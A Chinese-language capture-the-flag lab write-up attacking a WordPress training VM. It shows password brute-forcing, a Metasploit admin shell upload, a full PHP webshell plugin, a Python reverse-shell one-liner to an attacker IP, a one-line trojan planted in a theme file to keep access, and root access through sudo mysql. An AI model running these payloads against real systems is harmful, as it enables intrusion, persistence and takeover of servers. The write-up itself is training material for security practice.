前言
这是打靶训练的第七周,难度中等,下载链接,目标取得两个flag。这靶场不看攻略,我真的是全程一脸懵逼。
信息搜集
扫了一波,只出现了80端口,而且是apache的默认页面
进行目录扫描,得到/wordpress/wp-login.php和/wordpress,这一看是wordpress的后台。开开心心去访问。结果出现下图情况
而且加载速度非常的慢,于是打开f12,看看请求了什么东西
原来对192.168.159.145进行请求,然而我们并没有这个ip,所以请求速度非常慢。再看看wp-login.php的Response
源代码里面有27个对这个ip的请求,那有没有办法把这个ip换成靶机的ip:192.168.41.129呢。这时候献出burp!
来到Proxy下的Options下的Match and Replace,先把里面的所有内容Remove掉。再点击Add,按下图配置
配置完成后
先查看/wordpress里面的内容,发现了admin管理员,猜测存在admin账号。
来到登录页,随便输入账号和密码,提示此用户不存在
再输入admin账号,提示密码错误
所以存在admin账号,接下来就是暴力破解了,可以用kali自带的字典rockyou。字典位置在/usr/share/wordlists/rockyou.txt.gz
,这个字典非常的全面和强大。跑了一万年终于出结果了,密码是:adam14
getshell
此靶机getshell有几种方式,我会分开讲
第一种方法
使用msf中的wp_admin_shell_upload
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.41.129
set username admin
set password adam14
set targeturi /wordpress
run
第二种方法
编辑一个shell.php,内容如下
<?php
/**
Plugin Name: webshell
Plugin URI: https://www.baidu.com/
Description: webshell
Version: 1.0
Author: lion
Author URI: https://www.baidu.com/
License: https://www.baidu.com/
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
然后压缩成shell.zip,来到Plugins下的Add New,点击install now,上传刚刚的shell.zip。
点击Activate Plugin,激活插件。
木马插件保存在/wordpress/wp-content/plugins/shell.php?cmd=id
,可成功命令执行
这里我使用nc和bash都不能反弹shell,而靶机存在python3环境,所以可以使用python 反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.41.130",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
第三种方法
严格来讲不算是新的方法,此方法必须要getshell的基础上再获取一个shell。听起来很怪是吧。本方法的重点是,如何将得到的shell升级成完全交互式的shell。
先查看kali上面是否有/bin/bash,ls /bin/bash
,如果没有自己安装,再查看当前的shell使用的shell是不是/bin/bash
我这里是已经配置好的,kali默认的shell是zsh,如果不是输入chsh -s /bin/bash
,将当前shell切换成bash。再重启kali即可成功切换成bash。
一切准备就绪后,先按ctrl + z,将获取到的shell放入后台
依次输入以下命令,即可升级成完全交互式shell
stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset
编辑此文件vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/index.php
插入一句话木马
蚁剑访问http://192.168.41.129/wordpress/wp-content/themes/twentytwentyone/index.php
,即可连接成功
获取到那么多shell的原因是,在真实的渗透测试过程中,通过边界打点成功,获得一个shell这个操作往往是比较困难的。而一旦取得了目标,一定要把这个shell拿牢,不能让它轻易的丢失。如果通过nc获得了反弹shell,又一不小心按到键盘上的ctrl + c的话,这个连接就断了。而必须再次触发此漏洞,再次获取一个反弹shell。多次触发漏洞的话,有可能目标系统,内部的软件环境就已经发生了变化,当你下次还想再次触发这个漏洞,你会发现它就失败了,你就再也没有办法用同一个漏洞,获得反弹shell,你就失去了这个机会。手里必须保证有2-3个shell。
flag1
来到/home/wpadmin
,尝试cat local.txt
无权限
查看wp-config配置文件cat /var/www/html/wordpress/wp-config.php
有个密码Wp_Admin#123,尝试su wpadmin结果失败,还有一个adam14密码没试,成功登录
flag2
sudo -l
发现mysql可以不用root密码以root权限执行
sudo /usr/bin/mysql -u root -D wordpress -p
,再次输入密码adam14。而这里是可以执行系统命令的,所以轻松获取第二个flag